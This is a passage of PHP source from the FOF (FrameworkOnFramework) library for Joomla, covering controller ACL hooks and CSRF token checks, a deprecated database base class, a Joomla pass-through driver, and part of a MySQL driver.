}
/**
* Execute something after applySave has run.
*
* @return boolean True to allow normal return, false to cause a 403
error
*/
protected function onAfterApplySave()
{
return true;
}
/**
* ACL check before changing the access level; override to customise
*
* @return boolean True to allow accesspublic() to run
*/
protected function onBeforeAccesspublic()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.acl.accesspublic', 'core.edit.state');
return $this->checkACL($privilege);
}
/**
* ACL check before changing the access level; override to customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeAccessregistered()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.acl.accessregistered', 'core.edit.state'
);
return $this->checkACL($privilege);
}
/**
* ACL check before changing the access level; override to customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeAccessspecial()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.acl.accessspecial', 'core.edit.state'
);
return $this->checkACL($privilege);
}
/**
* ACL check before adding a new record; override to customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeAdd()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.add',
'core.create'
);
return $this->checkACL($privilege);
}
/**
* ACL check before saving a new/modified record; override to customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeApply()
{
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$id = $model->getId();
if(!$id)
{
$defaultPrivilege = 'core.create';
}
else
{
$defaultPrivilege = 'core.edit';
}
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.apply',
$defaultPrivilege
);
return $this->checkACL($privilege);
}
/**
* ACL check before allowing someone to browse
*
* @return boolean True to allow the method to run
*/
protected function onBeforeBrowse()
{
$defaultPrivilege = '';
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.browse',
$defaultPrivilege
);
return $this->checkACL($privilege);
}
/**
* ACL check before cancelling an edit
*
* @return boolean True to allow the method to run
*/
protected function onBeforeCancel()
{
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$id = $model->getId();
if(!$id)
{
$defaultPrivilege = 'core.create';
}
else
{
$defaultPrivilege = 'core.edit';
}
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.cancel',
$defaultPrivilege
);
return $this->checkACL($privilege);
}
/**
* ACL check before editing a record; override to customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeEdit()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.edit',
'core.edit'
);
return $this->checkACL($privilege);
}
/**
* ACL check before changing the ordering of a record; override to
customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeOrderdown()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.orderdown',
'core.edit.state'
);
return $this->checkACL($privilege);
}
/**
* ACL check before changing the ordering of a record; override to
customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeOrderup()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.orderup',
'core.edit.state'
);
return $this->checkACL($privilege);
}
/**
* ACL check before changing the publish status of a record; override to
customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforePublish()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.publish',
'core.edit.state'
);
return $this->checkACL($privilege);
}
/**
* ACL check before removing a record; override to customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeRemove()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.remove',
'core.delete'
);
return $this->checkACL($privilege);
}
/**
* ACL check before saving a new/modified record; override to customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeSave()
{
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$id = $model->getId();
if(!$id)
{
$defaultPrivilege = 'core.create';
}
else
{
$defaultPrivilege = 'core.edit';
}
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.save',
$defaultPrivilege
);
return $this->checkACL($privilege);
}
/**
* ACL check before saving a new/modified record; override to customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeSavenew()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.savenew',
'core.create'
);
return $this->checkACL($privilege);
}
/**
* ACL check before changing the ordering of a record; override to
customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeSaveorder()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.saveorder',
'core.edit.state'
);
return $this->checkACL($privilege);
}
/**
* ACL check before changing the publish status of a record; override to
customise
*
* @return boolean True to allow the method to run
*/
protected function onBeforeUnpublish()
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.unpublish',
'core.edit.state'
);
return $this->checkACL($privilege);
}
/**
* Gets a URL suffix with the Itemid parameter. If it's not the
front-end of the site, or if
* there is no Itemid set it returns an empty string.
*
* @return string The &Itemid=123 URL suffix, or an empty string if
Itemid is not applicable
*/
public function getItemidURLSuffix()
{
if (FOFPlatform::getInstance()->isFrontend() &&
($this->input->getCmd('Itemid', 0) != 0))
{
return '&Itemid=' .
$this->input->getInt('Itemid', 0);
}
else
{
return '';
}
}
/**
* Applies CSRF protection by means of a standard Joomla! token (nonce)
check.
* Raises a 403 Access Forbidden error through the platform if the check
fails.
*
* TODO Move this check inside the platform
*
* @return boolean True if the CSRF check is successful
*
* @throws Exception
*/
protected function _csrfProtection()
{
static $isCli = null, $isAdmin = null;
if (is_null($isCli))
{
$isCli = FOFPlatform::getInstance()->isCli();
$isAdmin = FOFPlatform::getInstance()->isBackend();
}
switch ($this->csrfProtection)
{
// Never
case 0:
return true;
break;
// Always
case 1:
break;
// Only back-end and HTML format
case 2:
if ($isCli)
{
return true;
}
elseif (!$isAdmin &&
($this->input->get('format', 'html',
'cmd') != 'html'))
{
return true;
}
break;
// Only back-end
case 3:
if (!$isAdmin)
{
return true;
}
break;
}
$hasToken = false;
$session = JFactory::getSession();
// Joomla! 1.5/1.6/1.7/2.5 (classic Joomla! API) method
if (method_exists('JUtility', 'getToken'))
{
$token = JUtility::getToken();
$hasToken = $this->input->get($token, false, 'none') ==
1;
if (!$hasToken)
{
$hasToken = $this->input->get('_token', null,
'none') == $token;
}
}
// Joomla! 2.5+ (Platform 12.1+) method
if (!$hasToken)
{
if (method_exists($session, 'getToken'))
{
$token = $session->getToken();
$hasToken = $this->input->get($token, false, 'none') ==
1;
if (!$hasToken)
{
$hasToken = $this->input->get('_token', null,
'none') == $token;
}
}
}
// Joomla! 2.5+ formToken method
if (!$hasToken)
{
if (method_exists($session, 'getFormToken'))
{
$token = $session->getFormToken();
$hasToken = $this->input->get($token, false, 'none') ==
1;
if (!$hasToken)
{
$hasToken = $this->input->get('_token', null,
'none') == $token;
}
}
}
if (!$hasToken)
{
FOFPlatform::getInstance()->raiseError(403,
JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
return false;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Database connector class.
*
* @since 11.1
* @deprecated 13.3 (Platform) & 4.0 (CMS)
*/
abstract class FOFDatabase
{
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 11.1
* @throws RuntimeException
* @deprecated 13.1 (Platform) & 4.0 (CMS)
*/
public function query()
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabase::query() is deprecated, use
FOFDatabaseDriver::execute() instead.', JLog::WARNING,
'deprecated');
}
return $this->execute();
}
/**
* Get a list of available database connectors. The list will only be
populated with connectors that both
* the class exists and the static test method returns true. This gives
us the ability to have a multitude
* of connector classes that are self-aware as to whether or not they are
able to be used on a given system.
*
* @return array An array of available database connectors.
*
* @since 11.1
* @deprecated 13.1 (Platform) & 4.0 (CMS)
*/
public static function getConnectors()
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabase::getConnectors() is deprecated, use
FOFDatabaseDriver::getConnectors() instead.', JLog::WARNING,
'deprecated');
}
return FOFDatabaseDriver::getConnectors();
}
/**
* Gets the error message from the database connection.
*
* @param boolean $escaped True to escape the message string for use
in JavaScript.
*
* @return string The error message for the most recent query.
*
* @deprecated 13.3 (Platform) & 4.0 (CMS)
* @since 11.1
*/
public function getErrorMsg($escaped = false)
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabase::getErrorMsg() is deprecated, use exception
handling instead.', JLog::WARNING, 'deprecated');
}
if ($escaped)
{
return addslashes($this->errorMsg);
}
else
{
return $this->errorMsg;
}
}
/**
* Gets the error number from the database connection.
*
* @return integer The error number for the most recent query.
*
* @since 11.1
* @deprecated 13.3 (Platform) & 4.0 (CMS)
*/
public function getErrorNum()
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabase::getErrorNum() is deprecated, use exception
handling instead.', JLog::WARNING, 'deprecated');
}
return $this->errorNum;
}
/**
* Method to return a FOFDatabaseDriver instance based on the given
options. There are three global options and then
* the rest are specific to the database driver. The 'driver'
option defines which FOFDatabaseDriver class is
* used for the connection -- the default is 'mysqli'. The
'database' option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param array $options Parameters to be passed to the database
driver.
*
* @return FOFDatabaseDriver A database object.
*
* @since 11.1
* @deprecated 13.1 (Platform) & 4.0 (CMS)
*/
public static function getInstance($options = array())
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabase::getInstance() is deprecated, use
FOFDatabaseDriver::getInstance() instead.', JLog::WARNING,
'deprecated');
}
return FOFDatabaseDriver::getInstance($options);
}
/**
* Splits a string of multiple queries into an array of individual
queries.
*
* @param string $query Input SQL string with which to split into
individual queries.
*
* @return array The queries from the input string separated into an
array.
*
* @since 11.1
* @deprecated 13.1 (Platform) & 4.0 (CMS)
*/
public static function splitSql($query)
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabase::splitSql() is deprecated, use
FOFDatabaseDriver::splitSql() instead.', JLog::WARNING,
'deprecated');
}
return FOFDatabaseDriver::splitSql($query);
}
/**
* Return the most recent error message for the database connector.
*
* @param boolean $showSQL True to display the SQL statement sent to
the database as well as the error.
*
* @return string The error message for the most recent query.
*
* @since 11.1
* @deprecated 13.3 (Platform) & 4.0 (CMS)
*/
public function stderr($showSQL = false)
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabase::stderr() is deprecated.',
JLog::WARNING, 'deprecated');
}
if ($this->errorNum != 0)
{
return JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED',
$this->errorNum, $this->errorMsg)
. ($showSQL ? "<br />SQL =
<pre>$this->sql</pre>" : '');
}
else
{
return JText::_('JLIB_DATABASE_FUNCTION_NOERROR');
}
}
/**
* Test to see if the connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
* @deprecated 12.3 (Platform) & 4.0 (CMS) - Use
FOFDatabaseDriver::isSupported() instead.
*/
public static function test()
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabase::test() is deprecated. Use
FOFDatabaseDriver::isSupported() instead.', JLog::WARNING,
'deprecated');
}
return static::isSupported();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This crazy three line bit is required to convince Joomla! to load
JDatabaseInterface which is on the same file as the
* abstract JDatabaseDriver class for reasons that beat me. It makes no
sense. Furthermore, jimport on Joomla! 3.4
* doesn't seem to actually load the file, merely registering the
association in the autoloader. Hence the class_exists
* in here.
*/
jimport('joomla.database.driver');
jimport('joomla.database.driver.mysqli');
class_exists('JDatabaseDriver', true);
/**
* Joomla! pass-through database driver.
*/
class FOFDatabaseDriverJoomla extends FOFDatabase implements
FOFDatabaseInterface
{
/** @var FOFDatabase The real database connection object */
private $dbo;
/**
* @var string The character(s) used to quote SQL statement names such
as table names or field names,
* etc. The child classes should define this as
necessary. If a single character string the
* same character is used for both sides of the quoted
name, else the first character will be
* used for the opening quote and the second for the
closing quote.
* @since 11.1
*/
protected $nameQuote = '';
/**
* Is this driver supported
*
* @since 11.2
*/
public static function isSupported()
{
return true;
}
/**
* Database object constructor
*
* @param array $options List of options used to configure the
connection
*/
public function __construct($options = array())
{
// Get best matching Akeeba Backup driver instance
$this->dbo = JFactory::getDbo();
$reflection = new ReflectionClass($this->dbo);
try
{
$refProp = $reflection->getProperty('nameQuote');
$refProp->setAccessible(true);
$this->nameQuote = $refProp->getValue($this->dbo);
}
catch (Exception $e)
{
$this->nameQuote = '`';
}
}
public function close()
{
if (method_exists($this->dbo, 'close'))
{
$this->dbo->close();
}
elseif (method_exists($this->dbo, 'disconnect'))
{
$this->dbo->disconnect();
}
}
public function disconnect()
{
$this->close();
}
public function open()
{
if (method_exists($this->dbo, 'open'))
{
$this->dbo->open();
}
elseif (method_exists($this->dbo, 'connect'))
{
$this->dbo->connect();
}
}
public function connect()
{
$this->open();
}
public function connected()
{
if (method_exists($this->dbo, 'connected'))
{
return $this->dbo->connected();
}
return true;
}
public function escape($text, $extra = false)
{
return $this->dbo->escape($text, $extra);
}
public function execute()
{
if (method_exists($this->dbo, 'execute'))
{
return $this->dbo->execute();
}
return $this->dbo->query();
}
public function getAffectedRows()
{
if (method_exists($this->dbo, 'getAffectedRows'))
{
return $this->dbo->getAffectedRows();
}
return 0;
}
public function getCollation()
{
if (method_exists($this->dbo, 'getCollation'))
{
return $this->dbo->getCollation();
}
return 'utf8_general_ci';
}
public function getConnection()
{
if (method_exists($this->dbo, 'getConnection'))
{
return $this->dbo->getConnection();
}
return null;
}
public function getCount()
{
if (method_exists($this->dbo, 'getCount'))
{
return $this->dbo->getCount();
}
return 0;
}
public function getDateFormat()
{
if (method_exists($this->dbo, 'getDateFormat'))
{
return $this->dbo->getDateFormat();
}
return 'Y-m-d H:i:s';;
}
public function getMinimum()
{
if (method_exists($this->dbo, 'getMinimum'))
{
return $this->dbo->getMinimum();
}
return '5.0.40';
}
public function getNullDate()
{
if (method_exists($this->dbo, 'getNullDate'))
{
return $this->dbo->getNullDate();
}
return '0000-00-00 00:00:00';
}
public function getNumRows($cursor = null)
{
if (method_exists($this->dbo, 'getNumRows'))
{
return $this->dbo->getNumRows($cursor);
}
return 0;
}
public function getQuery($new = false)
{
if (method_exists($this->dbo, 'getQuery'))
{
return $this->dbo->getQuery($new);
}
return null;
}
public function getTableColumns($table, $typeOnly = true)
{
if (method_exists($this->dbo, 'getTableColumns'))
{
return $this->dbo->getTableColumns($table, $typeOnly);
}
$result = $this->dbo->getTableFields(array($table), $typeOnly);
return $result[$table];
}
public function getTableKeys($tables)
{
if (method_exists($this->dbo, 'getTableKeys'))
{
return $this->dbo->getTableKeys($tables);
}
return array();
}
public function getTableList()
{
if (method_exists($this->dbo, 'getTableList'))
{
return $this->dbo->getTableList();
}
return array();
}
public function getVersion()
{
if (method_exists($this->dbo, 'getVersion'))
{
return $this->dbo->getVersion();
}
return '5.0.40';
}
public function insertid()
{
if (method_exists($this->dbo, 'insertid'))
{
return $this->dbo->insertid();
}
return null;
}
public function insertObject($table, &$object, $key = null)
{
if (method_exists($this->dbo, 'insertObject'))
{
return $this->dbo->insertObject($table, $object, $key);
}
return null;
}
public function loadAssoc()
{
if (method_exists($this->dbo, 'loadAssoc'))
{
return $this->dbo->loadAssoc();
}
return null;
}
public function loadAssocList($key = null, $column = null)
{
if (method_exists($this->dbo, 'loadAssocList'))
{
return $this->dbo->loadAssocList($key, $column);
}
return null;
}
public function loadObject($class = 'stdClass')
{
if (method_exists($this->dbo, 'loadObject'))
{
return $this->dbo->loadObject($class);
}
return null;
}
public function loadObjectList($key = '', $class =
'stdClass')
{
if (method_exists($this->dbo, 'loadObjectList'))
{
return $this->dbo->loadObjectList($key, $class);
}
return null;
}
public function loadResult()
{
if (method_exists($this->dbo, 'loadResult'))
{
return $this->dbo->loadResult();
}
return null;
}
public function loadRow()
{
if (method_exists($this->dbo, 'loadRow'))
{
return $this->dbo->loadRow();
}
return null;
}
public function loadRowList($key = null)
{
if (method_exists($this->dbo, 'loadRowList'))
{
return $this->dbo->loadRowList($key);
}
return null;
}
public function lockTable($tableName)
{
if (method_exists($this->dbo, 'lockTable'))
{
return $this->dbo->lockTable($this);
}
return $this;
}
public function quote($text, $escape = true)
{
if (method_exists($this->dbo, 'quote'))
{
return $this->dbo->quote($text, $escape);
}
return $text;
}
public function select($database)
{
if (method_exists($this->dbo, 'select'))
{
return $this->dbo->select($database);
}
return false;
}
public function setQuery($query, $offset = 0, $limit = 0)
{
if (method_exists($this->dbo, 'setQuery'))
{
return $this->dbo->setQuery($query, $offset, $limit);
}
return false;
}
public function transactionCommit($toSavepoint = false)
{
if (method_exists($this->dbo, 'transactionCommit'))
{
$this->dbo->transactionCommit($toSavepoint);
}
}
public function transactionRollback($toSavepoint = false)
{
if (method_exists($this->dbo, 'transactionRollback'))
{
$this->dbo->transactionRollback($toSavepoint);
}
}
public function transactionStart($asSavepoint = false)
{
if (method_exists($this->dbo, 'transactionStart'))
{
$this->dbo->transactionStart($asSavepoint);
}
}
public function unlockTables()
{
if (method_exists($this->dbo, 'unlockTables'))
{
return $this->dbo->unlockTables();
}
return $this;
}
public function updateObject($table, &$object, $key, $nulls = false)
{
if (method_exists($this->dbo, 'updateObject'))
{
return $this->dbo->updateObject($table, $object, $key, $nulls);
}
return false;
}
public function getLog()
{
if (method_exists($this->dbo, 'getLog'))
{
return $this->dbo->getLog();
}
return array();
}
public function dropTable($table, $ifExists = true)
{
if (method_exists($this->dbo, 'dropTable'))
{
return $this->dbo->dropTable($table, $ifExists);
}
return $this;
}
public function getTableCreate($tables)
{
if (method_exists($this->dbo, 'getTableCreate'))
{
return $this->dbo->getTableCreate($tables);
}
return array();
}
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
if (method_exists($this->dbo, 'renameTable'))
{
return $this->dbo->renameTable($oldTable, $newTable, $backup,
$prefix);
}
return $this;
}
public function setUtf()
{
if (method_exists($this->dbo, 'setUtf'))
{
return $this->dbo->setUtf();
}
return false;
}
protected function freeResult($cursor = null)
{
return false;
}
/**
* Method to get an array of values from the
<var>$offset</var> field in each row of the result set from
* the database query.
*
* @param integer $offset The row offset to use to build the result
array.
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadColumn($offset = 0)
{
if (method_exists($this->dbo, 'loadColumn'))
{
return $this->dbo->loadColumn($offset);
}
return $this->dbo->loadResultArray($offset);
}
/**
* Wrap an SQL statement identifier name such as column, table or database
names in quotes to prevent injection
* risks and reserved word conflicts.
*
* @param mixed $name The identifier name to wrap in quotes, or an
array of identifier names to wrap in quotes.
* Each type supports dot-notation name.
* @param mixed $as The AS query part associated to $name. It can be
string or array, in latter case it has to be
* same length of $name; if is null there will not
be any AS part for string or array element.
*
* @return mixed The quote wrapped name, same type of $name.
*
* @since 11.1
*/
public function quoteName($name, $as = null)
{
if (is_string($name))
{
$quotedName = $this->quoteNameStr(explode('.', $name));
$quotedAs = '';
if (!is_null($as))
{
settype($as, 'array');
$quotedAs .= ' AS ' . $this->quoteNameStr($as);
}
return $quotedName . $quotedAs;
}
else
{
$fin = array();
if (is_null($as))
{
foreach ($name as $str)
{
$fin[] = $this->quoteName($str);
}
}
elseif (is_array($name) && (count($name) == count($as)))
{
$count = count($name);
for ($i = 0; $i < $count; $i++)
{
$fin[] = $this->quoteName($name[$i], $as[$i]);
}
}
return $fin;
}
}
/**
* Quote strings coming from quoteName call.
*
* @param array $strArr Array of strings coming from quoteName
dot-explosion.
*
* @return string Dot-imploded string of quoted parts.
*
* @since 11.3
*/
protected function quoteNameStr($strArr)
{
$parts = array();
$q = $this->nameQuote;
foreach ($strArr as $part)
{
if (is_null($part))
{
continue;
}
if (strlen($q) == 1)
{
$parts[] = $q . $part . $q;
}
else
{
$parts[] = $q[0] . $part . $q[1];
}
}
return implode('.', $parts);
}
/**
* Gets the error message from the database connection.
*
* @param boolean $escaped True to escape the message string for use
in JavaScript.
*
* @return string The error message for the most recent query.
*
* @since 11.1
*/
public function getErrorMsg($escaped = false)
{
if (method_exists($this->dbo, 'getErrorMsg'))
{
$errorMessage = $this->dbo->getErrorMsg();
}
else
{
$errorMessage = $this->errorMsg;
}
if ($escaped)
{
return addslashes($errorMessage);
}
return $errorMessage;
}
/**
* Gets the error number from the database connection.
*
* @return integer The error number for the most recent query.
*
* @since 11.1
* @deprecated 13.3 (Platform) & 4.0 (CMS)
*/
public function getErrorNum()
{
if (method_exists($this->dbo, 'getErrorNum'))
{
$errorNum = $this->dbo->getErrorNum();
}
else
{
$errorNum = $this->getErrorNum;
}
return $errorNum;
}
/**
* Return the most recent error message for the database connector.
*
* @param boolean $showSQL True to display the SQL statement sent to
the database as well as the error.
*
* @return string The error message for the most recent query.
*/
public function stderr($showSQL = false)
{
if (method_exists($this->dbo, 'stderr'))
{
return $this->dbo->stderr($showSQL);
}
return parent::stderr($showSQL);
}
/**
* Magic method to proxy all calls to the loaded database driver object
*/
public function __call($name, array $arguments)
{
if (is_null($this->dbo))
{
throw new Exception('FOF database driver is not loaded');
}
if (method_exists($this->dbo, $name) || in_array($name,
array('q', 'nq', 'qn', 'query')))
{
switch ($name)
{
case 'execute':
$name = 'query';
break;
case 'q':
$name = 'quote';
break;
case 'qn':
case 'nq':
switch (count($arguments))
{
case 0 :
$result = $this->quoteName();
break;
case 1 :
$result = $this->quoteName($arguments[0]);
break;
case 2:
default:
$result = $this->quoteName($arguments[0], $arguments[1]);
break;
}
return $result;
break;
}
switch (count($arguments))
{
case 0 :
$result = $this->dbo->$name();
break;
case 1 :
$result = $this->dbo->$name($arguments[0]);
break;
case 2:
$result = $this->dbo->$name($arguments[0], $arguments[1]);
break;
case 3:
$result = $this->dbo->$name($arguments[0], $arguments[1],
$arguments[2]);
break;
case 4:
$result = $this->dbo->$name($arguments[0], $arguments[1],
$arguments[2], $arguments[3]);
break;
case 5:
$result = $this->dbo->$name($arguments[0], $arguments[1],
$arguments[2], $arguments[3], $arguments[4]);
break;
default:
// Resort to using call_user_func_array for many segments
$result = call_user_func_array(array($this->dbo, $name),
$arguments);
}
if (class_exists('JDatabase') && is_object($result)
&& ($result instanceof JDatabase))
{
return $this;
}
return $result;
}
else
{
throw new \Exception('Method ' . $name . ' not found in
FOFDatabase');
}
}
public function __get($name)
{
if (isset($this->dbo->$name) || property_exists($this->dbo,
$name))
{
return $this->dbo->$name;
}
else
{
$this->dbo->$name = null;
user_error('Database driver does not support property ' .
$name);
}
}
public function __set($name, $value)
{
if (isset($this->dbo->name) || property_exists($this->dbo,
$name))
{
$this->dbo->$name = $value;
}
else
{
$this->dbo->$name = null;
user_error('Database driver not support property ' . $name);
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* MySQL database driver
*
* @see http://dev.mysql.com/doc/
* @since 12.1
* @deprecated Will be removed when the minimum supported PHP version no
longer includes the deprecated PHP `mysql` extension
*/
class FOFDatabaseDriverMysql extends FOFDatabaseDriverMysqli
{
/**
* The name of the database driver.
*
* @var string
* @since 12.1
*/
public $name = 'mysql';
/**
* Constructor.
*
* @param array $options Array of database options with keys: host,
user, password, database, select.
*
* @since 12.1
*/
public function __construct($options)
{
// PHP's `mysql` extension is not present in PHP 7, block
instantiation in this environment
if (PHP_MAJOR_VERSION >= 7)
{
throw new RuntimeException(
'This driver is unsupported in PHP 7, please use the MySQLi or PDO
MySQL driver instead.'
);
}
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : 'root';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
// Finalize initialisation.
parent::__construct($options);
}
/**
* Destructor.
*
* @since 12.1
*/
public function __destruct()
{
$this->disconnect();
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 12.1
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the MySQL extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new RuntimeException('Could not connect to MySQL.');
}
// Attempt to connect to the server.
if (!($this->connection = @
mysql_connect($this->options['host'],
$this->options['user'],
$this->options['password'], true)))
{
throw new RuntimeException('Could not connect to MySQL.');
}
// Set sql_mode to non_strict mode
mysql_query("SET @@SESSION.sql_mode = '';",
$this->connection);
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Pre-populate the UTF-8 Multibyte compatibility flag based on server
version
$this->utf8mb4 = $this->serverClaimsUtf8mb4Support();
// Set the character set (needed for MySQL 4.1.2+).
$this->utf = $this->setUtf();
// Turn MySQL profiling ON in debug mode:
if ($this->debug && $this->hasProfiling())
{
mysql_query("SET profiling = 1;", $this->connection);
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 12.1
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysql_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 12.1
*/
public function escape($text, $extra = false)
{
$this->connect();
$result = mysql_real_escape_string($text, $this->getConnection());
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function isSupported()
{
return (function_exists('mysql_connect'));
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 12.1
*/
public function connected()
{
if (is_resource($this->connection))
{
return @mysql_ping($this->connection);
}
return false;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows.
*
* @since 12.1
*/
public function getAffectedRows()
{
$this->connect();
return mysql_affected_rows($this->connection);
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by a INSERT, UPDATE, REPLACE or
DELETE query, use getAffectedRows().
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 12.1
*/
public function getNumRows($cursor = null)
{
$this->connect();
return mysql_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 12.1
*/
public function getVersion()
{
$this->connect();
return mysql_get_server_info($this->connection);
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 12.1
*/
public function insertid()
{
$this->connect();
return mysql_insert_id($this->connection);
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 12.1
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
if (!is_resource($this->connection))
{
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof FOFDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->offset . ', ' .
$this->limit;
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
if (class_exists('JLog'))
{
JLog::add($query, JLog::DEBUG, 'databasequery');
}
$this->timings[] = microtime(true);
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @mysql_query($query, $this->connection);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
